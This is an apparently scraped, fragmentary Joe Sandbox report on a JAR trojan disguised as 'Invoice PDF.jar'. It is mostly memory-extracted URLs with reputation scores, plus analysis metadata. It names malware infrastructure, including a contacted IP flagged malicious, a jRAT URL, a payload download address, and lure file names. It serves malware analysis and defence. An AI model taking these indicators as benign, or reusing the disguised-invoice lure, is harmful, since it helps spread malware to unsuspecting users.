ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp

false high

apache.org/xml/features/validation/schemaK~ java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

apache.org/xml/properties/internal/entity-resolvers java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false high

maven.apache.org/POM/4.0.0 javaw.exe, 00000009.00000003.5
36827543.0000000015847000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.592336171.0
000000004ECE000.00000004.00000
001.sdmp

false high

apache.org/xml/properties/input-buffer-size javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp, java.exe, 00
00000A.00000002.593238086.0000
000009F57000.00000004.00000001
.sdmp

false high

apache.org/xml/features/validation/balance-syntax-
trees#

java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

www.chambersign.org1 javaw.exe, 00000009.00000002.5
93050398.000000000A203000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592404131.00
00000009C36000.00000004.000000
01.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

apache.org/xml/features/standard-uri-conformant2 javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

Domains and IPs

Contacted Domains

URLs from Memory and Binaries
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apache.org/xml/properties/internal/document-
scanner/apach7

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

repository.swisssign.com/0 javaw.exe, 00000009.00000002.5
93050398.000000000A203000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592404131.00
00000009C36000.00000004.000000
01.sdmp

false high

apache.org/xml/properties/schema/external-
schemaLocation(

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

apache.org/xml/properties/internal/entity-manager javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592869177.00
00000009DDB000.00000004.000000
01.sdmp

false high

www.oracle.com/feature/use-service-mechanism/w3c/ javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

apache.org/xml/properties/internal/symbol-tableQ javaw.exe, 00000009.00000003.5
37077103.0000000014FD2000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.595923199.00
00000015228000.00000004.000000
01.sdmp

false high

apache.org/xml/features/internal/parser-settings javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp, java.exe, 00
00000A.00000002.591826457.0000
000004A82000.00000004.00000001
.sdmp

false high

apache.org/xml/properties/internal/dtd-scannerl.o8 java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/dom/include-ignorable-
whitespace

javaw.exe, 00000009.00000003.5
37077103.0000000014FD2000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp, java.exe, 00
00000A.00000002.591826457.0000
000004A82000.00000004.00000001
.sdmp, java.exe, 0000000A.0000
0002.593238086.0000000009F5700
0.00000004.00000001.sdmp

false high

xml.org/sax/features//dom javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

java.sun.com/xml/dom/properties/ javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.593238086.00
00000009F57000.00000004.000000
01.sdmp

false 0%, Virustotal, Browse
Avira URL Cloud: safe

unknown

apache.org/xml/properties/internal/stax-entity-resolver javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp, java.exe, 00
00000A.00000002.591826457.0000
000004A82000.00000004.00000001
.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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apache.org/xml/properties/dom/current-element-node# java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false high

xml.org/sax/features/0co java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/internal/validation/schema/use-
grammar-pool-onlye/

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/nonvalidating/load-external-
dtdnt:

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

https://jrat.ioS java.exe, 0000000A.00000002.59
2979586.0000000009E5B000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/features/3 javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.595923199.00
00000015228000.00000004.000000
01.sdmp

false high

www.oracle.com/feature/use-service-mechanismrg/ap java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/xinclude/fixup-base-uris javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp

false high

apache.org/xml/properties/schema/external-
noNamespaceSchemaLocation

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.591
826457.0000000004A82000.000000
04.00000001.sdmp

false high

apache.org/xml/properties/internal/error-reporter javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592869177.00
00000009DDB000.00000004.000000
01.sdmp

false high

apache.org/xml/features/internal/tolerate-duplicatesKR java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false high

apache.org/xml/properties/security-managerk java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

apache.org/xml/features/validation/warn-on-duplicate-
attdefttp://D

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

xml.org/sax/properties/( javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

apache.org/xml/properties/internal/document-scannerKS java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

java.sun.com/xml/dom/properties/; java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation
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apache.org/xml/features/include-comments javaw.exe, 00000009.00000003.5
37077103.0000000014FD2000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp, java.exe, 00
00000A.00000002.593238086.0000
000009F57000.00000004.00000001
.sdmp

false high

apache.org/xml/features/scanner/notify-char-refs javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp, java.exe, 00
00000A.00000002.593238086.0000
000009F57000.00000004.00000001
.sdmp

false high

apache.org/xml/features/warn-on-duplicate-entitydef-
node-

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/properties/dom/current-element-node9 java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

java.sun.com/xml/schema/features/report-ignored-
element-content-whitespace0

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

policy.camerfirma.com0 javaw.exe, 00000009.00000002.5
93050398.000000000A203000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592404131.00
00000009C36000.00000004.000000
01.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

apache.org/xml/features/validation/schema/normalized-
valueB

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

java.sun.com/xml/stream/properties/ignore-external-dtd java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/features/continue-after-fatal-error javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.591
826457.0000000004A82000.000000
04.00000001.sdmp

false high

apache.org/xml/features/standard-uri-conformant javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp

false high

apache.org/xml/properties/internal/document-scanner javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.593
238086.0000000009F57000.000000
04.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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www.certplus.com/CRL/class2.crl javaw.exe, 00000009.00000002.5
93050398.000000000A203000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.590748343.00
000000048DE000.00000004.000000
01.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

bugreport.sun.com/bugreport/ java.exe, 00000002.00000002.33
3098127.000000000531A000.00000
004.00000001.sdmp, java.exe, 0
0000002.00000002.333182589.000
000000A3C4000.00000004.0000000
1.sdmp, javaw.exe, 00000009.00
000002.592486010.0000000009F91
000.00000004.00000001.sdmp, ja
va.exe, 0000000A.00000002.5921
99343.0000000009B8A000.0000000
4.00000001.sdmp

false Avira URL Cloud: safe unknown

java.sun.com/xml/dom/properties/c java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

java.oracle.com/ java.exe, 00000002.00000002.33
3196283.000000000A3D5000.00000
004.00000001.sdmp, java.exe, 0
0000002.00000002.333114203.000
0000005332000.00000004.0000000
1.sdmp, javaw.exe, 00000009.00
000002.592505653.0000000009F97
000.00000004.00000001.sdmp, ja
va.exe, 0000000A.00000002.5922
12742.0000000009B8F000.0000000
4.00000001.sdmp

false high

xml.org/sax/features/namespace-prefixesnt( java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/ javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp

false high

apache.org/xml/features/generate-synthetic-annotations javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp

false high

xml.org/sax/features/allow-dtd-events-after-endDTD javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp

false high

cps.chambersign.org/cps/chambersroot.html javaw.exe, 00000009.00000002.5
93050398.000000000A203000.0000
0004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certplus.com/CRL/class3P.crl javaw.exe, 00000009.00000002.5
93050398.000000000A203000.0000
0004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

apache.org/xml/features/validation/balance-syntax-
treesS

java.exe, 0000000A.00000002.59
3238086.0000000009F57000.00000
004.00000001.sdmp

false high

java.sun.com/xml/stream/properties/reader-in-defined-
stateodeIter

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false Avira URL Cloud: safe unknown

javax.xml.XMLConstants/property/accessExternalDTD3 java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation
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apache.org/xml/features/internal/validation/schema/use-
grammar-pool-only

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.591
826457.0000000004A82000.000000
04.00000001.sdmp

false high

crl.securetrust.com/STCA.crl javaw.exe, 00000009.00000002.5
92845354.000000000A0FF000.0000
0004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

apache.org/xml/properties/internal/namespace-binder javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp

false high

javax.xml.XMLConstants/property/accessExternalDTD; javaw.exe, java.exe, 0000000A.
00000002.595923199.00000000152
28000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

java.sun.com/dtd/properties.dtdk java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/properties/internal/error-reporterSE java.exe, 0000000A.00000002.59
3238086.0000000009F57000.00000
004.00000001.sdmp

false high

apache.org/xml/properties/internal/datatype-validator-
factorys

java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

xml.org/sax/properties/e java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/properties/s/dom/iD java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

xml.org/sax/properties/c java.exe, 0000000A.00000002.59
2869177.0000000009DDB000.00000
004.00000001.sdmp

false high

apache.org/xml/properties/security-manager javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592869177.00
00000009DDB000.00000004.000000
01.sdmp, java.exe, 0000000A.00
000002.595923199.0000000015228
000.00000004.00000001.sdmp, ja
va.exe, 0000000A.00000002.5932
38086.0000000009F57000.0000000
4.00000001.sdmp

false high

java.sun.com/xml/dom/properties/ancestor-check javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.593238086.00
00000009F57000.00000004.000000
01.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/features/standard-uri-conformantZ java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/validation/balance-syntax-
trees1

javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

apache.org/xml/features/namespace-growthS java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

apache.org/xml/features/create-cdata-nodes3 java.exe, 0000000A.00000002.59
3238086.0000000009F57000.00000
004.00000001.sdmp

false high

apache.org/xml/features/validation/warn-on-undeclared-
elemdefs

java.exe, 0000000A.00000002.59
3238086.0000000009F57000.00000
004.00000001.sdmp

false high

apache.org/xml/features/allow-java-encodingserRej9 java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/create-cdata-nodes: java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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apache.org/xml/features/validation/warn-on-undeclared-
elemdefk

java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

ops.com.pa/jre7.zipW wscript.exe, 00000005.00000003
.340480526.00000000053F9000.00
000004.00000001.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/features/xinclude javaw.exe, javaw.exe, 00000009
.00000002.593384054.000000000A
2E9000.00000004.00000001.sdmp, 
java.exe, 0000000A.00000002.5
92869177.0000000009DDB000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.595923199.00
00000015228000.00000004.000000
01.sdmp

false high

apache.org/xml/properties/internal/xinclude-handler9 java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false high

apache.org/xml/features/validation/schema-full-checking javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp

false high

gG2DwoT3pJewMEBGx6.com javaw.exe, 00000009.00000002.5
91762381.0000000004DA5000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.591752460.0
000000004DA1000.00000004.00000
001.sdmp

false Avira URL Cloud: safe unknown

javax.xml.XMLConstants/property/ javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592869177.00
00000009DDB000.00000004.000000
01.sdmp, java.exe, 0000000A.00
000002.595923199.0000000015228
000.00000004.00000001.sdmp, ja
va.exe, 0000000A.00000002.5918
26457.0000000004A82000.0000000
4.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

java.sun.com/xml/dom/properties/ancestor-checkurr java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

java.sun.com/xml/dom/properties/ancestor-check3C java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

ops.com.pa/jre7.zip wscript.exe, 00000005.00000002
.372915284.00000000006F3000.00
000004.00000010.sdmp

false Avira URL Cloud: safe unknown

java.sun.com/xml/stream/properties/3p java.exe, 0000000A.00000002.59
3238086.0000000009F57000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/properties/input-buffer-sizes java.exe, 0000000A.00000002.59
1826457.0000000004A82000.00000
004.00000001.sdmp

false high

https://jrat.io javaw.exe, 00000009.00000002.5
92935649.000000000A16B000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.589242015.000000000469
0000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.592
404131.0000000009C36000.000000
04.00000001.sdmp

true Avira URL Cloud: safe unknown

apache.org/xml/properties/internal/grammar-pool javaw.exe, 00000009.00000003.5
37077103.0000000014FD2000.0000
0004.00000001.sdmp, javaw.exe, 
00000009.00000002.593384054.0
00000000A2E9000.00000004.00000
001.sdmp, java.exe, 0000000A.0
0000002.592869177.0000000009DD
B000.00000004.00000001.sdmp, j
ava.exe, 0000000A.00000002.595
923199.0000000015228000.000000
04.00000001.sdmp

false high

javax.xml.XMLConstants/property/accessExternalSchemaD
java.exe, 0000000A.00000002.59
5923199.0000000015228000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 392877

Start date: 19.04.2021

Start time: 23:31:59

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 35s

Hypervisor based Inspection enabled: false

javax.xml.XMLConstants/property/s3 javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false Avira URL Cloud: safe unknown

java.sun.com/xml/stream/properties/reader-in-defined-
state

javaw.exe, 00000009.00000002.5
93384054.000000000A2E9000.0000
0004.00000001.sdmp, java.exe, 
0000000A.00000002.592869177.00
00000009DDB000.00000004.000000
01.sdmp

false Avira URL Cloud: safe unknown

apache.org/xml/properties/internal/validator/dtd: javaw.exe, 00000009.00000003.3
84085782.00000000156DC000.0000
0004.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

107.175.101.209 unknown United States 20278 NEXEONUS true

IP

192.168.2.1

127.0.0.1

Contacted IPs

Public

Private
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Report type: light

Sample file name: Invoice PDF.jar

Cookbook file name: defaultwindowsfilecookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 40

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
GSI enabled (Java)
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.expl.evad.winJAR@133/260@0/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 52%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.jar

Warnings:
Exclude process from analysis (whitelisted): 
MpCmdRun.exe, audiodg.exe, 
BackgroundTransferHost.exe, 
backgroundTaskHost.exe, conhost.exe, 
svchost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Report size exceeded maximum capacity and may 
have missing behavior information.
Report size getting too big, too many 
NtAllocateVirtualMemory calls found.
Report size getting too big, too many 
NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile 
calls found.
Report size getting too big, too many 
NtOpenKeyEx calls found.
Report size getting too big, too many 
NtProtectVirtualMemory calls found.
Report size getting too big, too many 
NtQueryValueKey calls found.
Report size getting too big, too many 
NtQueryVolumeInformationFile calls found.
Report size getting too big, too many 
NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile 
calls found.

No simulations

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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No context

No context

Match Associated Sample Name / URL SHA 256 Detection Link Context

NEXEONUS 0WzJdqE4Rw.dll Get hash malicious Browse 172.93.133.123

3cneNhQXLA.dll Get hash malicious Browse 172.93.133.123

O3Hv20MLTO.dll Get hash malicious Browse 172.93.133.123

3C3QlrM2vJ.dll Get hash malicious Browse 172.93.133.123

JVDmOtlXaN.dll Get hash malicious Browse 172.93.133.123

EyHBhihBLX.dll Get hash malicious Browse 172.93.133.123

9ID7hh46jC.dll Get hash malicious Browse 172.93.133.123

EY5QMIrtiV.dll Get hash malicious Browse 172.93.133.123

3o1SlAow2W.dll Get hash malicious Browse 172.93.133.123

1RQzW0mVpe.dll Get hash malicious Browse 172.93.133.123

n7o1W05MC8.dll Get hash malicious Browse 172.93.133.123

fzs2RFsIyX.dll Get hash malicious Browse 172.93.133.123

rpq7FU7REX.dll Get hash malicious Browse 172.93.133.123

MQaT6y2WR1.dll Get hash malicious Browse 172.93.133.123

2AkfHL53PG.dll Get hash malicious Browse 172.93.133.123

yHofZqHUpA.dll Get hash malicious Browse 172.93.133.123

t8gXIfeO1k.dll Get hash malicious Browse 172.93.133.123

bJZDQZ7Yup.dll Get hash malicious Browse 172.93.133.123

4d4QR5t7LQ.dll Get hash malicious Browse 172.93.133.123

KGY6KoZer1.dll Get hash malicious Browse 172.93.133.123

No context

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Users\user\AppData\Local\Temp\Win
dows278170804881636675.dll

PO SKP 149684.jar Get hash malicious Browse

CHEQUE COPY.jar Get hash malicious Browse

Ramon_w2-1040_PDF.jar Get hash malicious Browse

Payment.jar Get hash malicious Browse

POHD512-6 5700.jar Get hash malicious Browse

PAYMENT SWIFT COPY.jar Get hash malicious Browse

box.jar Get hash malicious Browse

02_ntfsmgr.jar Get hash malicious Browse

Company profile and Purchase Order.jar Get hash malicious Browse

0076364_00533MXS2.jar Get hash malicious Browse

Order.jar Get hash malicious Browse

ORDER.jar Get hash malicious Browse

Rejected_Stimulus.jar Get hash malicious Browse

COMMUNIQUE2.pdf.jar Get hash malicious Browse

https://margopassadorestylist.com/AT&T/AT&T payment 
confirmation.pdf.jar

Get hash malicious Browse

itao.edu.mx/CountrysideEstateseasonsgreetingspdf.jar Get hash malicious Browse

PAYMENT SWIFT.jar Get hash malicious Browse

PAYMENT SWIFT.jar Get hash malicious Browse

https://www.dropbox.com/s/lbf8u07a2eak42i/Orden 
October.jar?dl=1

Get hash malicious Browse

zaricer.usa.cc/Paiement/copie.jar Get hash malicious Browse

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/299976/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299976/html/none?idtype=webid
https://view.joesandbox.com/analysis/299940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299940/html/none?idtype=webid
https://view.joesandbox.com/analysis/299898/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299898/html/none?idtype=webid
https://view.joesandbox.com/analysis/299896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299896/html/none?idtype=webid
https://view.joesandbox.com/analysis/299895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299895/html/none?idtype=webid
https://view.joesandbox.com/analysis/299892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299892/html/none?idtype=webid
https://view.joesandbox.com/analysis/299888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299888/html/none?idtype=webid
https://view.joesandbox.com/analysis/299881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299881/html/none?idtype=webid
https://view.joesandbox.com/analysis/299878/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299878/html/none?idtype=webid
https://view.joesandbox.com/analysis/299876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299876/html/none?idtype=webid
https://view.joesandbox.com/analysis/299875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299875/html/none?idtype=webid
https://view.joesandbox.com/analysis/299872/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299872/html/none?idtype=webid
https://view.joesandbox.com/analysis/299869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299869/html/none?idtype=webid
https://view.joesandbox.com/analysis/299864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299864/html/none?idtype=webid
https://view.joesandbox.com/analysis/299863/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299863/html/none?idtype=webid
https://view.joesandbox.com/analysis/299858/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299858/html/none?idtype=webid
https://view.joesandbox.com/analysis/299855/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299855/html/none?idtype=webid
https://view.joesandbox.com/analysis/299854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299854/html/none?idtype=webid
https://view.joesandbox.com/analysis/299851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299851/html/none?idtype=webid
https://view.joesandbox.com/analysis/299837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299837/html/none?idtype=webid
https://view.joesandbox.com/analysis/289286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/289286/html/none?idtype=webid
https://view.joesandbox.com/analysis/260448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260448/html/none?idtype=webid
